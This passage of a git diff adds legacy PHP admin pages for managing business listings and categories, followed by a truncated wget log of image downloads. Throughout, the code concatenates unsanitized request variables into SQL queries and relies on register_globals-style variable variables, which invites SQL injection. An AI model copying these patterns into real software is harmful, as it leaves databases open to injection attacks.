+                                               $image_tmp = $$tmpimg;
+                                               $oldy = ${"old".$tmpimg};
+                                               $image_tmp_name = ${$tmpimg."_name"};
+                                               if($image_tmp == "none" || $image_tmp == "") 
+                                                       {
+                                                       $image_tmp_name = $oldy;
+                                                       }
+                                               else 
+                                                       { 
+                        $image_tmp_name = GLM_TOOLBOX::process_image($tmpimg);
+                        if ($oldy) {
+                            require_once BASE.'Toolkit/Image/Server.php';
+                            $imServer = new Toolkit_Image_Server();
+                            $imServer->imageDelete($oldy);
+                        }
+                                                       }
+                                               $delete = ${"delete".$tmpimg};
+                                               if($delete==1) 
+                                                       {
+                                                       $image_tmp_name = "";
+                        if ($oldy) {
+                            require_once BASE.'Toolkit/Image/Server.php';
+                            $imServer = new Toolkit_Image_Server();
+                            $imServer->imageDelete($oldy);
+                        }
+                                                       }
+                                               $qs .= $fields[$i][name]." = '".$image_tmp_name."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }       
+                                       elseif($fields[$i][type]=="seperator") 
+                                               {
+                                                       //empty
+                                               }
+                                       elseif($fields[$i][type]=="file") 
+                                               {
+                                               $tmpfile = $fields[$i]['name'];
+                                               $file_tmp = $$tmpfile;
+                                               $oldy = ${"old".$tmpfile};
+                                               $file_tmp_name = ${$tmpfile."_name"};
+                                               if($file_tmp == "none" || $file_tmp == "") 
+                                                       {
+                                                       $file_tmp_name = $oldy;
+                                                       }
+                                               else 
+                                                       { 
+                                                       $file_tmp_name = file_upload($file_tmp,$file_tmp_name,UP_BASE);
+                                                       }
+
+                                               $delete = ${"delete".$tmpfile};
+                                               if($delete==1) 
+                                                       {
+                                                       $file_tmp_name = "";
+                                                       @unlink(UP_BASE.$oldy);
+                                                       }
+                                               $qs .= $fields[$i][name]." = '".$file_tmp_name."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }       
+                                       elseif($fields[$i][type]=="static")
+                                               {
+                                               }
+                                       elseif($fields[$i][type]=="password") 
+                                               {
+                                               if(($password && $password2) && ($password == $password2)) 
+                                                       {
+                                                       $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                                                       if($i != $LAST)
+                                                               $qs .= ",";
+                                                       }               
+                                               }
+                                       else 
+                                               {
+                                               $qs .= $fields[$i][name]." = '".$$fields[$i][name]."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }
+                                       }
+                               else 
+                                       {
+                                       $qs = substr($qs,0,strlen($qs)-1);
+                                       $qs .= " WHERE ".$fields[$i][name]." = ".$$fields[$i][name];
+                                       }       
+                               }
+                       $fields = array_reverse($fields);
+                       if(!db_exec($dbd,$qs)) 
+                               $ERRORS .= pg_errormessage($dbd).$qs;
+                       $location = "list_bus.phtml?catid=".$catid[0]."&".SID;
+                       db_exec($dbd,"COMMIT WORK");
+                       break;// }}}
+               case "Insert":// {{{
+                       if($category)
+                       {
+                               $category = ereg_replace("^:","",$category);
+                               $catid = split(":",$category);
+                       }
+                       if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG,0);
+                       $tmp = "";
+                       $tmp_value = "";
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][name]!=ID) 
+                                       {
+                                       if($fields[$i][type]!="static" && $fields[$i][type]!="seperator")
+                                               {
+                                               $tmp .= $fields[$i][name];
+                                               $tmp .= ",";    
+                                               }
+                                       }
+                               }
+                       for($i=0;$i<count($fields);$i++) 
+                               {
+                               if($fields[$i][type]=="date") 
+                               {
+                                       $month =  $_POST[$fields[$i][name]."_month"];
+                                       $day = $_POST[$fields[$i][name]."_day"];
+                                       $year = $_POST[$fields[$i][name]."_year"];
+                                       if( is_numeric( $month ) && is_numeric( $day ) && is_numeric( $year ) )
+                                       {
+                                               $date = "'".date("Y-m-d H:i:s T",mktime(0,0,0,$month,$day,$year))."'";
+                                       }
+                                       else
+                                       {
+                                               $date = 'NULL';
+                                       }
+                                       $tmp_value .= "$date";
+                                       $tmp_value .= ",";      
+                               }
+                               elseif($fields[$i][type]=="static") 
+                                       {
+                                       }
+                               elseif($fields[$i][type]=="seperator") 
+                                       {
+                                       }
+                               elseif($fields[$i][type]=="datetime") 
+                                       {
+                                       $month =  $fields[$i][name]."_month";
+                                       $day = $fields[$i][name]."_day";
+                                       $year = $fields[$i][name]."_year";
+                                       $H = $fields[$i][name]."_hour";
+                                       $mm = $fields[$i][name]."_mm";
+                                       if($$mm == "PM")
+                                               $$H = $$H + 12;
+                                       $m = $fields[$i][name]."_min"; 
+                                       $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                                       $tmp_value .= "'$date'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][type]=="img")
+                                       {
+                                       $tmpimg = $fields[$i]['name'];
+                                       $image = $$tmpimg;
+                                       $image_name = ${$tmpimg."_name"};
+                                       if($image == "none" || $image == "") 
+                                               {
+                                               $image_name = '';
+                                               }
+                                       else 
+                                               { 
+                    $image_name = GLM_TOOLBOX::process_image($tmpimg);
+                                               }
+                                       $tmp_value .= "'".$image_name."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][type]=="file")
+                                       {
+                                       $tmpfile = $fields[$i]['name'];
+                                       $file = $$tmpfile;
+                                       $file_name = ${$tmpfile."_name"};
+                                       if($file == "none" || $file == "") 
+                                               {
+                                               $file_name = '';
+                                               }
+                                       else 
+                                               { 
+                                               $file_name = file_upload($file,$file_name,UP_BASE);
+                                               }
+                                       $tmp_value .= "'".$file_name."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               elseif($fields[$i][name]!=ID) 
+                                       {
+                                       $tmp_value .= "'".$$fields[$i][name]."'";
+                                       $tmp_value .= ",";      
+                                       }
+                               }
+                       // get the lat and lon for bus
+       
+                       // check for all blanks
+                       $tmp_blank = str_replace("'","",$tmp_value);
+                       $tmp_blank = str_replace(",","",$tmp_blank);
+            if( $department == 'isp' ) {
+                $tmp .= "home,";
+                $tmp_value .= "'t',";
+            }
+                       $tmp = substr($tmp,0,strlen($tmp)-1);
+                       $tmp_value = substr($tmp_value,0,strlen($tmp_value)-1);
+                       if(!$res = db_exec($dbd,"BEGIN WORK")) 
+                               die( pg_errormessage($dbd).$qs );
+                       if($tmp_blank) {
+                $qs = "
+                INSERT INTO ".TABLE." 
+                (".ID.", $tmp )
+                     VALUES
+                (nextval('".SEQUENCE."'), $tmp_value)
+                RETURNING id";
+                if(!$res = db_exec($dbd,$qs)) {
+                    die( pg_errormessage($dbd).$qs );
+                }
+                if(!$res = db_exec($dbd,$qs)) {
+                    html_error(DB_ERROR_MSG.$qs,0);
+                }
+                $row = db_fetch_array($res, 0, PGSQL_ASSOC);
+                if(is_array($catid)) {
+                    foreach($catid as $key=>$value) {
+                        $qs = "SELECT  count(*) as maxpos
+                               FROM    bus_category_bus
+                               WHERE   catid = $value";
+            
+                        if(!$res = db_exec($dbd,$qs)) {
+                            html_error(DB_ERROR_MSG.$qs,1);
+                        }
+            
+                        $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+                        if( !$pos = $row2[maxpos]) {
+                            $pos = 1;
+                        } else {
+                            $pos++;
+                        }
+                        
+                        $qs = "INSERT  
+                               INTO            bus_category_bus
+                                        (busid,catid,pos)
+                               VALUES  ($row[id],$value,$pos)";
+            
+                        if(!db_exec($dbd,$qs)) {
+                            html_error(DB_ERROR_MSG.$qs,1);
+                        }
+                        if(!$res = db_exec($dbd,"COMMIT WORK")) {
+                            die( pg_errormessage($dbd).$qs );
+                        }
+                    }
+                } else {
+                    $qs = "SELECT      count(*) as maxpos
+                           FROM        bus_category_bus
+                           WHERE       catid = $catid";
+        
+                    if(!$res = db_exec($dbd,$qs)) {
+                        html_error(DB_ERROR_MSG.$qs,1);
+                    }
+        
+                    $row2 = db_fetch_array($res,0,PGSQL_ASSOC);
+                    if( !$pos = $row2[maxpos]) {
+                        $pos = 1;
+                    } else {
+                        $pos++;
+                    }
+                    $qs = "INSERT      
+                           INTO                bus_category_bus
+                                    (busid,catid,pos)
+                           VALUES      ($row[id],$catid,$pos)";
+        
+                    if(!db_exec($dbd,$qs)) {
+                        html_error(DB_ERROR_MSG.$qs,1);
+                    }
+                    if(!$res = db_exec($dbd,"COMMIT WORK")) {
+                        die( pg_errormessage($dbd).$qs );
+                    }
+                }
+            }
+                       $location = "list_bus.phtml?catid=".$catid[0]."&".SID; 
+               
+                       break;// }}}
+               case "Delete":// {{{
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            if ($oldimage) {
+                $imServer->imageDelete($oldimage);
+            }
+            if ($oldimage2) {
+                $imServer->imageDelete($oldimage2);
+            }
+            if ($oldimage3) {
+                $imServer->imageDelete($oldimage3);
+            }
+       
+                       $dbd = db_connect( CONN2_STR );
+                       
+                       if(!$dbd) 
+                       {
+                               html_error(DB_ERROR_MSG,1);
+                       }
+                       
+                       foreach($oldcatid as $key=>$value)
+                       {
+                               $qs = "SELECT   id,pos
+                                          FROM         bus_category_bus
+                                          WHERE        busid = $id
+                                          AND          catid = $value";
+       
+                               if(!$res = db_exec($dbd,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,1);
+                               }
+                               
+                               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                               
+                               $qs = "SELECT   id
+                                          FROM         bus_category_bus
+                                          WHERE        pos > $row[pos]
+                                          AND          catid = $value
+                                          ORDER BY pos";
+                               
+                               if(!$res2 = db_exec($dbd,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,1);
+                               }
+                               
+                                       $counter = $row[pos];
+                                       for($i=0;$i<db_numrows($res2);$i++) 
+                                       {
+                                               $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                                       
+                                               $qs = "UPDATE   bus_category_bus
+                                                          SET          pos = $counter
+                                                          WHERE        id = $row2[id]";
+                                                          
+                                               if(!db_exec($dbd,$qs)) 
+                                               {
+                                                       html_error(DB_ERROR_MSG.$qs,1);
+                                               }
+                                               $counter++;
+                                       }
+                               }
+                               $qs = "DELETE FROM bus
+                                          WHERE id = $id";
+                               if(!db_auto_exec($qs, CONN2_STR )) 
+                               {
+                                       html_error("failed ->".$qs,1);
+                               }
+                               $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+                       break;// }}}
+               case "Cancel":// {{{
+                       $oldcatid = ereg_replace("^:","",$oldcatid);
+                       $oldcatid = split(":",$oldcatid);
+                       $catid = ereg_replace("^:","",$oldcatid);
+                       $catid = split(":",$oldcatid);
+                       $location = "list_bus.phtml?catid=".$oldcatid[0]."&".SID; 
+                       break;// }}}
+               default:// {{{
+                       html_error("incorrect value for Command",1);
+                       break;// }}}
+       }
+       header("Location: $location");
+}
+?>
diff --git a/admin/portfolio/update_bus_category.phtml b/admin/portfolio/update_bus_category.phtml
new file mode 100644 (file)
index 0000000..2ab08dd
--- /dev/null
@@ -0,0 +1,261 @@
+<?php
+//$Id: update_bus_category.phtml,v 1.3 2009/12/28 21:03:21 matrix Exp $
+include("../../setup.phtml");
+//$description = ( trim( strip_tags( $description ) ) != "" ) ? $description :'';
+if($REQUEST_METHOD == "POST" || $Command == "Move") {
+       switch($Command) {
+
+               case "Move":
+               if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG,0);
+               
+               $qs = "SELECT   pos,id
+                          FROM         bus_category
+                          WHERE        id = $id";
+
+               if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+               $data = db_fetch_array($result,0,PGSQL_ASSOC);
+               $pos = $data['pos'];
+               
+               if($newpos < $pos) {
+                       $qs = "SELECT   id,pos
+                                  FROM         bus_category
+                                  WHERE        pos < $pos
+                                  AND          pos >= $newpos
+                                  AND          parent = $parent
+                                  ORDER BY pos";
+
+                       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       $counter = ($newpos + 1);
+                       for($i=0;$i<db_numrows($res);$i++) {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $counter
+                                          WHERE        id = $res_id";
+                               
+                               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               $counter++;
+                       }
+               }
+               else {
+                       $qs = "SELECT   pos,id
+                                  FROM         bus_category
+                                  WHERE        pos > $pos
+                                  AND          pos <= $newpos
+                                  AND          parent = $parent
+                                  ORDER BY pos";
+
+                       if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                       
+                       $counter = ($pos);
+                       for($i=0;$i<db_numrows($res);$i++) {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $counter
+                                          WHERE        id = $res_id";
+                               
+                               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+                               $counter++;
+                       }
+               }
+               $qs = "UPDATE   bus_category 
+                          SET          pos = $newpos
+                          WHERE        id = $id";
+
+               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+       
+               $location = "list_bus_category.phtml?catid=$catid";
+       break;
+       
+       case "Update":
+               
+               if($image != "none" && $image != "") {
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($oldimage);
+                       $image_name = GLM_TOOLBOX::process_image('image');
+               }
+               else {
+                       $image_name = $oldimage;
+               }
+               
+               if($delete == "1") {
+                       $image_name = "";
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($oldimage);
+               }
+
+               if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG,0);
+               
+               if($parent != $oldparent) {
+
+                       $qs = "SELECT   MAX(pos) as maxpos
+                                  FROM         bus_category
+                                  WHERE        parent = $parent";
+
+                       $res = db_exec($dbd,$qs);
+                       $row = db_fetch_array($res,0,PGSQL_ASSOC);
+                       $pos = $row[maxpos];
+                       $pos++;
+                       
+                       $qs = "SELECT   pos,id 
+                                  FROM         bus_category
+                                  WHERE        parent = $oldparent
+                                  AND          pos > $oldpos
+                                  ORDER BY pos";
+                                  
+                       $res2 = db_exec($dbd,$qs);
+                       $oldparent_counter = $oldpos;
+                       for($i=0;$i<db_numrows($res2);$i++) {
+                               $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                               $qs = "UPDATE   bus_category
+                                          SET          pos = $oldparent_counter
+                                          WHERE        id = $row2[id]";
+
+                               db_exec($dbd,$qs);
+                               $oldparent_counter++;
+                       }
+                       
+               }
+               else {
+                       $pos = $oldpos;
+               }
+               $template = ( $template ) ? $template : 1;
+               
+               $qs = "update bus_category 
+                       set category = '$category', 
+                       parent = $parent,
+                       pos = $pos,
+                       intro = '$intro',
+                       description = '$description',
+                       image = '$image_name'
+                       where id = $id";
+               
+               if(!db_auto_exec($qs, CONN2_STR )) html_error("failed ->".$qs,1);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Insert":
+               
+               $parent = ( $parent ) ? $parent : 0;
+               if($image != "none" && $image != "") {
+                       $image_name = GLM_TOOLBOX::process_image('image');
+               }
+               else { 
+                       $image_name = $oldimage;
+               }
+
+               if(!$dbd = db_connect( CONN2_STR )) html_error(DB_ERROR_MSG,0);
+
+               $qs = "SELECT   MAX(pos) as maxpos
+                          FROM         bus_category
+                          WHERE        parent = $parent";
+
+               $res = db_exec($dbd,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+               $nextpos = $row[maxpos];
+               $nextpos++;
+               
+               db_close($dbd);
+               
+               $template = ( $template ) ? $template : 1;
+               $parent = ( $parent ) ? $parent : 0;
+               $qs = "insert into bus_category 
+                       (category,parent,intro,description,image,pos)
+                       values 
+                       ('$category',$parent,'$intro','$description','$image_name',$nextpos)";
+                                       
+               if(!db_auto_exec($qs, CONN2_STR )) html_error("failed ->".$qs,1);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Delete":
+               
+               $dbd = db_connect( CONN2_STR );
+               
+               if(!$dbd) html_erro(DB_ERROR_MSG,1);
+               
+               $qs = "SELECT   count(*) as count 
+                          FROM         bus_category_bus
+                          WHERE        catid = $id";
+               
+               $res = db_exec($dbd,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+
+               if($row['count'] >0) {
+                       html_error("Sorry but you have items in there\n 
+                                               Delete these records first\n",1); 
+               }
+               
+               $qs = "SELECT   parent 
+                          FROM         bus_category 
+                          WHERE        parent = $id";
+               
+               $res = db_exec($dbd,$qs);
+
+               if(db_numrows($res) >0) {
+                       html_error("Sorry but you have Categories in there\n 
+                                               Delete these Categories first\n",1); 
+               }
+               
+               $qs = "SELECT   pos,id 
+                          FROM         bus_category
+                          WHERE        parent = $oldparent
+                          AND          pos > $oldpos
+                          ORDER BY pos";
+                                  
+               $res2 = db_exec($dbd,$qs);
+               $oldparent_counter = $oldpos;
+               for($i=0;$i<db_numrows($res2);$i++) {
+                       $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                       $qs = "UPDATE   bus_category
+                                  SET          pos = $oldparent_counter
+                                  WHERE        id = $row2[id]";
+
+                       db_exec($dbd,$qs);
+                       $oldparent_counter++;
+               }
+               
+               $qs2 = "DELETE 
+                               FROM            bus_category 
+                           WHERE               id = $id";
+               
+               if(!db_auto_exec($qs2, CONN2_STR )) html_error(DB_ERROR_MSG.$qs2,1);
+               
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($oldimage);
+               
+               $location = "list_bus_category.phtml?".SID; 
+       
+       break;
+       
+       case "Cancel":
+               $location = "list_bus_category.phtml?".SID; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       
+$toolbox =& new GLM_TEMPLATE(1);
+$toolbox->cache->remove('page-' . $id, 'Toolbox');
+$toolbox->cache->remove('paragraphs-' . $id, 'Toolbox');
+// cache_Toolbox_bottomNav
+$toolbox->cache->remove('bottomNav', 'Toolbox');
+// clean the Nav cache
+$toolbox->cache->clean('Nav');
+header("Location: $location");
+}
+?>
diff --git a/admin/portfolio/updatetoolset.php b/admin/portfolio/updatetoolset.php
new file mode 100644 (file)
index 0000000..271d4f9
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+       /* If you don't have a newsletter installed then comment oeut the part where it updates
+         the news and news_block tables
+        or else this will rollback (since it is in a transaction)
+       :) 
+        */
+       require_once('../../setup.phtml');
+       require_once(BASE.'classes/class_db.inc');
+       require_once(BASE.'classes/class_template.inc');
+
+       $DB =& new GLM_DB();
+       $DB->db_connect();
+       $DB->db_exec( "BEGIN WORK" );
+
+       echo 'replacing newlines with &lt;br&gt; in bus_category<br>';
+       $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
+       echo 'replacing newlines with &lt;br&gt; in bus<br>';
+       $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
+       $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+       $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+       
+       echo 'replacing newlines with &lt;br&gt; in news<br>';
+       $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+       echo 'replacing newlines with &lt;br&gt; in news_block<br>';
+       $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+       $DB->db_exec( "COMMIT WORK" );
+       /**
+         update media_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+         update bus_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+         */
+?>
diff --git a/admin/portfolio/wgetlog.txt b/admin/portfolio/wgetlog.txt
new file mode 100644 (file)
index 0000000..1f9d54a
--- /dev/null
@@ -0,0 +1,3956 @@
+--14:15:19--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:15:19 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   12.21 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:15:19 (11.76 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:15:19 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:15:19 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:15:19 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/toolbox.gif
+           => `./original/toolbox.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/contactdb.gif
+           => `./original/contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/forms.gif
+           => `./original/forms.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/bannerads.gif
+           => `./original/bannerads.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/events.gif
+           => `./original/events.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/exchange.gif
+           => `./original/exchange.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/coupons.gif
+           => `./original/coupons.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/members.gif
+           => `./original/members.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/1145468690contactdb.gif
+           => `./original/1145468690contactdb.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/dsl.gif
+           => `./original/dsl.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/hosting.gif
+           => `./original/hosting.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/hosting_cusman.gif
+           => `./original/hosting_cusman.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/flame_worldinnutshell.jpg
+           => `./original/flame_worldinnutshell.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/cardhouse.jpg
+           => `./original/cardhouse.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:15:19--  http://www.gaslightmedia.com/images/original/1145470331reservations.gif
+           => `./original/1145470331reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:15:19 ERROR 404: Not Found.
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/1089404804meeting.jpg
+           => `./original/1089404804meeting.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 7,088 [image/jpeg]
+
+    0K ......                                                100%    6.76 MB/s
+
+14:21:42 (6.76 MB/s) - `./original/1089404804meeting.jpg' saved [7088/7088]
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/map_office3.gif
+           => `./original/map_office3.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 74,009 [image/gif]
+
+    0K .......... .......... .......... .......... .......... 69%   16.28 MB/s
+   50K .......... .......... ..                              100%   10.88 MB/s
+
+14:21:42 (14.12 MB/s) - `./original/map_office3.gif' saved [74009/74009]
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/surfing2.jpg
+           => `./original/surfing2.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 8,419 [image/jpeg]
+
+    0K ........                                              100%    8.03 MB/s
+
+14:21:42 (8.03 MB/s) - `./original/surfing2.jpg' saved [8419/8419]
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/connectivity.jpg
+           => `./original/connectivity.jpg'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 4,508 [image/jpeg]
+
+    0K ....                                                  100%    4.30 MB/s
+
+14:21:42 (4.30 MB/s) - `./original/connectivity.jpg' saved [4508/4508]
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/vmail.gif
+           => `./original/vmail.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 200 OK
+Length: 10,940 [image/gif]
+
+    0K ..........                                            100%   10.43 MB/s
+
+14:21:42 (10.43 MB/s) - `./original/vmail.gif' saved [10940/10940]
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/reservations.gif
+           => `./original/reservations.gif'
+Resolving www.gaslightmedia.com... done.
+Connecting to www.gaslightmedia.com[66.129.33.40]:80... connected.
+HTTP request sent, awaiting response... 404 Not Found
+14:21:42 ERROR 404: Not Found.
+
+--14:21:42--  http://www.gaslightmedia.com/images/original/toolbox.gif
